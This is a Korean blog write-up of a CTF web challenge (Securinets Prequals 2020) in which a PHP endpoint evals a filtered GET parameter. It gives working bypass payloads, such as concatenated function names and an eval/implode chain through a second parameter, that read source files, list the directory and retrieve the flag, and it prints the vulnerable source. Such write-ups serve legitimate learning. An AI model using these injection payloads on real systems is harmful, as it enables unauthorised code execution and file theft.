Blog to Blog

[WebHacking] Securinets Prequals 2K20 WriteUp - Welcome 본문

Hacking/Writeup

[WebHacking] Securinets Prequals 2K20 WriteUp - Welcome

kookhh0827 2020. 3. 22. 19:28

 

 문제 설명에는 딱히 중요한 내용이 없습니다.

 

문제의 Link를 클릭하면 해당 주소로 연결된다

Link를 클릭해보면 cmd라는 parameter을 실행시켜 주고 있는 것을 확인할 수 있습니다.

 

먼저 어떤 환경에서 동작중인지 확인을 해봐야 합니다.

 

크롬 개발자 모드에서 응답 헤더를 확인

Apache + PHP로 동작하고 있음을 알 수 있습니다.

 

먼저 print 외에 다른 함수들이 사용 가능한지 확인해보겠습니다.

 

source code를 주지 않았기 때문에, 어떤 식으로 동작하는지는 명확히 할 수 없습니다.

 

그러나 대충 eval을 통해서 cmd로 전달된 string을 실행시켜 줌을 짐작할 수 있습니다.

 

 

phpinfo 사용 불가능

 

phpinfo, system, file 관련, 따옴표, 쌍따옴표, 심지어 echo까지 사용이 불가능합니다.

implode, explode와 같은 문자열 관련 함수도 사용이 불가능 합니다.

 

거의 모든 유용한 함수들이 사용 불가능합니다.

 

여기서 잠시 막혔는데, php에서 다음과 같은 함수 사용이 가능하다는 것이 기억났습니다.

 

function foo() {
    echo "In foo()<br />\n";
}

function bar($arg = '')
{
    echo "In bar(); argument was '$arg'.<br />\n";
}

// This is a wrapper function around echo
function echoit($string)
{
    echo $string;
}

$func = 'foo';
$func();        // This calls foo()

$func = 'bar';
$func('test');  // This calls bar()

$func = 'echoit';
$func('test');  // This calls echoit()
?>

출처 : https://www.php.net/manual/en/functions.variable-functions.php

 

php는 무려 함수 이름이 string으로 저장되어 있어도 사용이 가능합니다.

 

하지만 따옴표와 쌍 따옴표가 filter에 걸리므로, 위와 같은 bypass가 불가능 할것처럼 보입니다.

 

하지만 php에서는 다음과 같은 특징이 있습니다.

 

echo 'hello, php';
echo (string)hello, php;
echo (hello, php);
print (hello, php);

 

바로 아무런 type casting 없이 소괄호 안에 문자들을 넣으면,

string으로 인식이 된다는 것입니다.

 

이 특징을 이용하면, 함수 또한 소괄호만을 이용해서 사용이 가능합니다.

 

(echo)(hi);
(system)(ls);

 

또한, string concatenation을 활용하면 filter을 bypass 할 수 있습니다.

 

(php.info)();

 

실제로 우회가 가능한지 보도록 하겠습니다.

 

 

성공!

 

phpinfo가 정상적으로 실행되었습니다!

 

그럼 이제 다음으로 해야할 것은, eval을 하기 전에 preg_match와 같은 함수로 필터링 하는 것들이

실제로 php의 설정에서도 금지되고 있는지 확인하는 것입니다.

 

이는 disable_function을 찾아보면 됩니다.

 

 

시스템 관련 함수와, 파일 관련 함수들이 막혀있습니다.

highlight_file은 막혀 있지 않지만, (highlight_fi.le)(index.php) 와 같이 사용하면 에러가 나네요..

 

그래서 다음과 같은 방법을 사용하기로 했습니다.

 

먼저 file_get_contents가 disable 되어있지 않습니다. 하지만 이 return 값을 제대로 받아서 print 등의 함수로 저에게 돌려줘야 합니다.

 

implode 함수와 eval 함수도 bypass를 통해 사용이 가능합니다. 그렇다면, Get parameter을 다음과 같이 줄 수 있습니다.

 

?aa=print(1);//&cmd=eval((implod.e)($_GET))

 

이렇게 하면, 다음과 같이 문자열이 생성되어 eval에 들어가게 됩니다.

 

print(1);//eval((implod.e)($_GET))

 

그래서 print(1)만 실행됩니다. 그렇다면 이제 다음과 같은 방법으로 index.php를 읽어올 수 있습니다.

 

?aa=$a%3dfile_get_contents('index.php');print($a);//&cmd=eval((implod.e)($_GET))

 

cmd 외에 다른 Get parameter은 filter되고 있지 않으므로, 마음껏 사용이 가능합니다.

 

index.php의 소스코드는 다음과 같았습니다.

 

<?php
//ini_set('display_errors', 1);
//ini_set('display_startup_errors', 1);
//error_reporting(E_ALL);
error_reporting(0);
function check(){
  global $p;
  $arr=get_defined_functions()['internal'];
  foreach ($arr as $blacklisted) {
      if (preg_match ('/' . $blacklisted . '/im', $p)) {
          echo "Your input is blacklisted" . "<br>";
          return true;
          break;
      }
  }
  $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]','\\','\^','\@','\|'];
  foreach ($blacklist as $blacklisted) {
    if (preg_match('/' . $blacklisted . '/m', $p)) {
      echo "Your input is blacklisted" . "<br>";
      return true;
          break;

  return false;
}
}
}
$p = @substr($_GET['cmd'], 0, 24);
if(check()){
  die('try again');
}
else
{
  @eval($p.';');
}

 

소스코드를 보니 highlight_file이 왜 사용이 안됐는지 알 수 있었습니다.

substr 함수 때문이었네요.

 

어찌됐든 index.php 안에는 flag가 없었으니까, 이번에는 폴더 내부에 뭐가 있는지 봐 봅시다.

 

이는 scandir 함수를 통해서 할 수 있습니다.

 

?aa=$a%3dscandir(".");print_r($a);//&cmd=eval((implod.e)($_GET))

Array
(
    [0] => .
    [1] => ..
    [2] => flag.php
    [3] => index.php
)

 

결과는 위와 같습니다. flag.php라는 파일이 따로 있네요

 

그러면 이제 flag.php 파일을 읽으면 끝입니다!

 

?aa=$a%3dfile_get_contents('flag.php');print($a);//&cmd=eval((implod.e)($_GET))
<?php
$flaG='securinets{just_pHp_warMup_xD}';

 

 

이상으로 Securinets Prequals 2K20의 Welcome 라이트업을 마칩니다.

Comments